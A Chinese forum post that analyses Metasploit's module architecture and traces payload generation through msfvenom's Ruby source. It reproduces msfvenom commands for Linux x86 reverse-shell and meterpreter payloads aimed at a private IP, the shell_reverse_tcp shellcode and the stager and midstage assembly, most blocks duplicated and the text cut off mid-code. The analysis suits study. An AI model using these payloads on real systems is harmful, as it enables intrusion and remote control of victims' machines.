-
-
[原创]metasploit浅析
-
发表于: 2023-4-29 19:07 16691
-
架构图如下所示:
其中metasploit最重要的部分为模块部分,,分别为辅助模块(Auxiliary)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)以及免杀模块(Evasion)。其功能如下:
辅助模块:通过对网络服务的扫描,收集登陆密码或者 Fuzz 测试发掘漏洞等方式取得目标系统丰富的情报信息,从而发起精准攻击。
渗透攻击模块:包括利用已发现的安全漏洞等方式对目标发起攻击,执行攻击载荷的主动攻击和利用伪造的 office 文档或浏览器等方式使目标上的用户自动触发执行攻击载荷的被动攻击。
空指令模块:跟随渗透攻击模块成功后的造成任何实质影响的空操作或者无关操作指令的无效植入代码,目的保证后面的攻击载荷能顺利执行。常见的在 x86 CPU 体系架构平台上的操作码是 0x90。
攻击载荷模块:跟随渗透攻击模块成功后在目标系统运行的有效植入代码,目标是建立连接,得到目标 shell。
编码器模块:同空指令模块作用相似,保证不会受到漏洞参数或者目标系统类型的限制导致无法顺利执行。
后渗透攻击模块:在获取到目标 shell 之后,进行后渗透攻击,比如获取信息,跳板甚至内网渗透。
免杀模块:作为 V5 版本新增的功能,只包含对 windows defender 类型。免杀方式较为简单,申请内存,拷贝攻击载荷,执行攻击载荷。
基于模块功能可以得到如下图所示攻击链:
一个完整的msf攻击过程会包括 payloads生成,编码(可选),添加空指令,生成有效载荷并执行攻击。获取到shell后可使用后渗透模块以及辅助模块协助渗透等等。而其中最重要的功能则是攻击载荷模块也就是payloads的生成模块。
可以分为两类:stage和stageless,其中:
payload生成使用msfvenom作为入口函数。
以msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > meterpreter_reverse_tcp
为例。
首先调用msfvenom
中的venom_generator.generate_payload
函数。
跟进对应函数,路径为payload_generator.rb
。通过一系列参数检查。然后调用generate_raw_payload
函数。
跟进,调用payload_module.generate_simple
,路径为simple\payload.rb
,调用Msf::Simple::Payload.generate_simple(self, opts, &block)
。
跟进,调用EncodedPayload.create
,路径为encoded_payload.rb
,调用generate
函数。
跟进,调用generate_raw()
,然后调用generate_complete
函数。
跟进,调用apply_prepends(generate)
。这里根据generate选择对应的生成函数。在本例中,选择的是meterpreter_reverse_tcp.rb
。
跟进,查看对应的 generate函数,调用MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
跟进 generate_config
,根据 datastore设定对应的config文件,然后调用Mettle.new()
函数实例化对象,调用to_binary
函数生成对应的bin文件。
to_binary
函数如下:
add_args函数如下
:
然后调用payload_generator
中的format_payload(raw_payload)
得到最终的payload可执行程序。
以 msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp
为例,前面都同上,在调用apply_prepends(generate)
时本例中,选择的是shell_reverse_tcp.rb
。
其完整内容如下:
与上文不同的是这边生成的是一段shellcode,在后面的format_payload(raw_payload)
阶段,会将shellcode插入到一个ELF中,并修改对应的偏移,得到最后完整的可执行elf文件。
在本例中,templates路径为/data/templates/template_x86_linux.bin
。
以 -p linux/x86/meterpreter/reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > reverse_tcp
为例: 在在调用apply_prepends(generate)
时本例中,选择的是reverse_tcp_x86.rb
。和前述不同的是,对应代码不是在modules目录下,而是在core目录下。
最终生成的shellcode如下:
在第一阶段建立连接后,攻击机会向靶机投递第二阶段payload。生成对应的mettle.bin并发送到靶机。在攻击机上启动监听之后,靶机上执行stager,会马上建立一个socket连接,同时msf启动一个新的线程,准备生成stage并投递给靶机。中间还会生成一段midstage,其内容如下:
之后则是mettle.bin的发送流程。略过。
使用msfvenom
生成payload : msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp
跟进payload = venom_generator.generate_payload
跟进raw_payload生成函数raw_payload = generate_raw_payload
跟进generate_simple
再跟进
再跟进create
跟进 generate
,
再跟进generate_raw()
最后到generate_complete
这个位置的generate为一个对象,在本例中,最后指向的是shell_reverse_tcp.rb
。
将对应的opcode提取出来,生成raw_payload,然后通过format_payload生成对应的elf可执行文件
本文结合msf源码简单分析了msf的payload生成,需要注意的是,msf大部分后渗透阶段的工具都在Post 模块上,但是其调用分析也是类似的,如果对其有兴趣可以详细的学习一下。
#
# Available formats are :process_image, :dylib, :dylib_sha1 and :exec
#
def
to_binary(
format
=
:process_image)
# 读取模板
bin
=
self
.
class
.read(@platform,
format
)
unless @config.empty?
# 将配置文件转化为串 `mettle -U "E1tOcvbz2ZSWf5B+9xap0g==" -G "AAAAAAAAAAAAAAAAAAAAAA==" -u "tcp://10.96.101.161:8888" -d "0" -o "" -b "0" ` + "\x00" * (CMDLINE_MAX - cmd_line.length)
params
=
generate_argv
# 将串插入到模板中
bin
=
add_args(
bin
, params)
end
bin
end
#
# Available formats are :process_image, :dylib, :dylib_sha1 and :exec
#
def
to_binary(
format
=
:process_image)
# 读取模板
bin
=
self
.
class
.read(@platform,
format
)
unless @config.empty?
# 将配置文件转化为串 `mettle -U "E1tOcvbz2ZSWf5B+9xap0g==" -G "AAAAAAAAAAAAAAAAAAAAAA==" -u "tcp://10.96.101.161:8888" -d "0" -o "" -b "0" ` + "\x00" * (CMDLINE_MAX - cmd_line.length)
params
=
generate_argv
# 将串插入到模板中
bin
=
add_args(
bin
, params)
end
bin
end
def
add_args(
bin
, params)
if
params[
8
] !
=
"\x00"
# 替换对应位置内容,查询知应为rdata区。
bin
.sub(CMDLINE_SIG
+
' '
*
(CMDLINE_MAX
-
CMDLINE_SIG.length), params)
else
bin
end
end
def
add_args(
bin
, params)
if
params[
8
] !
=
"\x00"
# 替换对应位置内容,查询知应为rdata区。
bin
.sub(CMDLINE_SIG
+
' '
*
(CMDLINE_MAX
-
CMDLINE_SIG.length), params)
else
bin
end
end
"\x31\xdb"
+
# xor ebx,ebx
"\xf7\xe3"
+
# mul ebx
"\x53"
+
# push ebx
"\x43"
+
# inc ebx
"\x53"
+
# push ebx
"\x6a\x02"
+
# push byte +0x2
"\x89\xe1"
+
# mov ecx,esp
"\xb0\x66"
+
# mov al,0x66 (sys_socketcall)
"\xcd\x80"
+
# int 0x80
"\x93"
+
# xchg eax,ebx
"\x59"
+
# pop ecx
"\xb0\x3f"
+
# mov al,0x3f (sys_dup2)
"\xcd\x80"
+
# int 0x80
"\x49"
+
# dec ecx
"\x79\xf9"
+
# jns 0x11
"\x68"
+
[IPAddr.new(datastore[
'LHOST'
], Socket::AF_INET).to_i].pack(
'N'
)
+
# push ip addr
"\x68\x02\x00"
+
[datastore[
'LPORT'
].to_i].pack(
'S>'
)
+
# push port
"\x89\xe1"
+
# mov ecx,esp
"\xb0\x66"
+
# mov al,0x66 (sys_socketcall)
"\x50"
+
# push eax
"\x51"
+
# push ecx
"\x53"
+
# push ebx
"\xb3\x03"
+
# mov bl,0x3
"\x89\xe1"
+
# mov ecx,esp
"\xcd\x80"
+
# int 0x80
"\x52"
+
# push edx
# Split shellname into 4-byte words and push them one-by-one
# on to the stack
shell_padded.bytes.reverse.each_slice(
4
).
map
do |word|
"\x68"
+
word.reverse.pack(
'C*'
)
end.join
+
"\x89\xe3"
+
# mov ebx,esp
"\x52"
+
# push edx
"\x53"
+
# push ebx
"\x89\xe1"
+
# mov ecx,esp
"\xb0\x0b"
+
# mov al,0xb (execve)
"\xcd\x80"
# int 0x80
"\x31\xdb"
+
# xor ebx,ebx
"\xf7\xe3"
+
# mul ebx
"\x53"
+
# push ebx
"\x43"
+
# inc ebx
"\x53"
+
# push ebx
"\x6a\x02"
+
# push byte +0x2
"\x89\xe1"
+
# mov ecx,esp
"\xb0\x66"
+
# mov al,0x66 (sys_socketcall)
"\xcd\x80"
+
# int 0x80
"\x93"
+
# xchg eax,ebx
"\x59"
+
# pop ecx
"\xb0\x3f"
+
# mov al,0x3f (sys_dup2)
"\xcd\x80"
+
# int 0x80
"\x49"
+
# dec ecx
"\x79\xf9"
+
# jns 0x11
"\x68"
+
[IPAddr.new(datastore[
'LHOST'
], Socket::AF_INET).to_i].pack(
'N'
)
+
# push ip addr
"\x68\x02\x00"
+
[datastore[
'LPORT'
].to_i].pack(
'S>'
)
+
# push port
"\x89\xe1"
+
# mov ecx,esp
"\xb0\x66"
+
# mov al,0x66 (sys_socketcall)
"\x50"
+
# push eax
"\x51"
+
# push ecx
"\x53"
+
# push ebx
"\xb3\x03"
+
# mov bl,0x3
"\x89\xe1"
+
# mov ecx,esp
"\xcd\x80"
+
# int 0x80
"\x52"
+
# push edx
# Split shellname into 4-byte words and push them one-by-one
# on to the stack
shell_padded.bytes.reverse.each_slice(
4
).
map
do |word|
"\x68"
+
word.reverse.pack(
'C*'
)
end.join
+
"\x89\xe3"
+
# mov ebx,esp
"\x52"
+
# push edx
"\x53"
+
# push ebx
"\x89\xe1"
+
# mov ecx,esp
"\xb0\x0b"
+
# mov al,0xb (execve)
"\xcd\x80"
# int 0x80
asm
=
%
Q^
push
#{retry_count} ; retry counter
pop esi
create_socket:
xor ebx, ebx
mul ebx
push ebx
inc ebx
push ebx
push
0x2
mov al,
0x66
mov ecx, esp
int
0x80
; sys_socketcall (socket())
xchg eax, edi ; store the socket
in
edi
set_address:
pop ebx ;
set
ebx back to zero
push
#{encoded_host}
push
#{encoded_port}
mov ecx, esp
try_connect:
push
0x66
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
int
0x80
; sys_socketcall (connect())
test eax, eax
jns mprotect
handle_failure:
dec esi
jz failed
push
0xa2
pop eax
push
0x
#{sleep_nanoseconds.to_s(16)}
push
0x
#{sleep_seconds.to_s(16)}
mov ebx, esp
xor ecx, ecx
int
0x80
; sys_nanosleep
test eax, eax
jns create_socket
jmp failed
^
asm << asm_send_uuid
if
include_send_uuid
asm <<
%
Q^
mprotect:
mov dl,
0x
#{mprotect_flags.to_s(16)}
mov ecx,
0x1000
mov ebx, esp
shr ebx,
0xc
shl ebx,
0xc
mov al,
0x7d
int
0x80
; sys_mprotect
test eax, eax
js failed
recv:
pop ebx
mov ecx, esp
cdq
mov
#{read_reg}, 0x#{read_length.to_s(16)}
mov al,
0x3
int
0x80
; sys_read (recv())
test eax, eax
js failed
jmp ecx
failed:
mov eax,
0x1
mov ebx,
0x1
;
set
exit status to
1
int
0x80
; sys_exit
^
asm
end
asm
=
%
Q^
push
#{retry_count} ; retry counter
pop esi
create_socket:
xor ebx, ebx
mul ebx
push ebx
inc ebx
push ebx
push
0x2
mov al,
0x66
mov ecx, esp
int
0x80
; sys_socketcall (socket())
xchg eax, edi ; store the socket
in
edi
set_address:
pop ebx ;
set
ebx back to zero
push
#{encoded_host}
push
#{encoded_port}
mov ecx, esp
try_connect:
push
0x66
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
int
0x80
; sys_socketcall (connect())
test eax, eax
jns mprotect
handle_failure:
dec esi
jz failed
push
0xa2
pop eax
push
0x
#{sleep_nanoseconds.to_s(16)}
push
0x
#{sleep_seconds.to_s(16)}
mov ebx, esp
xor ecx, ecx
int
0x80
; sys_nanosleep
test eax, eax
jns create_socket
jmp failed
^
asm << asm_send_uuid
if
include_send_uuid
asm <<
%
Q^
mprotect:
mov dl,
0x
#{mprotect_flags.to_s(16)}
mov ecx,
0x1000
mov ebx, esp
shr ebx,
0xc
shl ebx,
0xc
mov al,
0x7d
int
0x80
; sys_mprotect
test eax, eax
js failed
recv:
pop ebx
mov ecx, esp
cdq
mov
#{read_reg}, 0x#{read_length.to_s(16)}
mov al,
0x3
int
0x80
; sys_read (recv())
test eax, eax
js failed
jmp ecx
failed:
mov eax,
0x1
mov ebx,
0x1
;
set
exit status to
1
int
0x80
; sys_exit
^
asm
end
%
(
push edi ; save sockfd
xor ebx, ebx ; address
mov ecx,
#{payload.length} ; length
mov edx,
7
; PROT_READ | PROT_WRITE | PROT_EXECUTE
mov esi,
34
; MAP_PRIVATE | MAP_ANONYMOUS
xor edi, edi ; fd
xor ebp, ebp ; pgoffset
mov eax,
192
; mmap2
int
0x80
; syscall
; receive mettle process image
mov edx, eax ; save buf addr
for
next
code block
pop ebx ; sockfd
push
0x00000100
; MSG_WAITALL
push
#{payload.length} ; size
push eax ; buf
push ebx ; sockfd
mov ecx, esp ; arg array
mov ebx,
10
; SYS_READ
mov eax,
102
; sys_socketcall
int
0x80
; syscall
; setup stack
pop edi
xor ebx, ebx
and
esp,
0xfffffff0
; align esp
add esp,
40
mov eax,
109
push eax
mov esi, esp
push ebx ; NULL
push ebx ; AT_NULL
push edx ; mmap
buffer
mov eax,
7
push eax ; AT_BASE
push ebx ; end of ENV
push ebx ; NULL
push edi ; sockfd
push esi ; m
mov eax,
2
push eax ; argc
; down the rabbit hole
mov eax,
#{entry_offset}
add edx, eax
jmp edx
)
end
%
(
push edi ; save sockfd
xor ebx, ebx ; address
mov ecx,
#{payload.length} ; length
mov edx,
7
; PROT_READ | PROT_WRITE | PROT_EXECUTE
mov esi,
34
; MAP_PRIVATE | MAP_ANONYMOUS
xor edi, edi ; fd
xor ebp, ebp ; pgoffset
mov eax,
192
; mmap2
int
0x80
; syscall
; receive mettle process image
mov edx, eax ; save buf addr
for
next
code block
pop ebx ; sockfd
push
0x00000100
; MSG_WAITALL
push
#{payload.length} ; size
push eax ; buf
push ebx ; sockfd
mov ecx, esp ; arg array
mov ebx,
10
; SYS_READ
mov eax,
102
; sys_socketcall
int
0x80
; syscall
; setup stack
pop edi
xor ebx, ebx
and
esp,
0xfffffff0
; align esp
add esp,
40
mov eax,
109
push eax
mov esi, esp
push ebx ; NULL
push ebx ; AT_NULL
push edx ; mmap
buffer
mov eax,
7
push eax ; AT_BASE
push ebx ; end of ENV
push ebx ; NULL
push edi ; sockfd
push esi ; m
mov eax,
2